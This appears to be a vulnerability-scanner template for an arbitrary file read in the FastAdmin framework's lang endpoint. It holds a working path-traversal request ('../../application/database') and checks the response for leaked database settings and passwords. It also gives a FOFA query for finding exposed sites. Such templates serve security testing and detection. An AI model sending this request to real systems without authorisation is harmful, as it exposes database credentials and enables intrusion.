fastadmin-lang-fileread: Fastadmin 框架 lang 接口任意文件读取

id: fastadmin-lang-fileread

info:
  name: Fastadmin 框架 lang 接口任意文件读取
  author: zan8in
  severity: high
  verified: true
  description: |-
    fofa: app="FASTADMIN-框架"
  tags: fastadmin,fileread
  created: 2024/06/17

rules:
  r0:
    request:
      method: GET
      path: /index/ajax/lang?lang=../../application/database
    expression: |
      response.status == 200 && 
      (response.body.bcontains(b'jsonpReturn') || response.body.bcontains(b'define({')) && 
      response.body.bcontains(b'"database"') && 
      response.body.bcontains(b'"password"')
expression: r0()

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.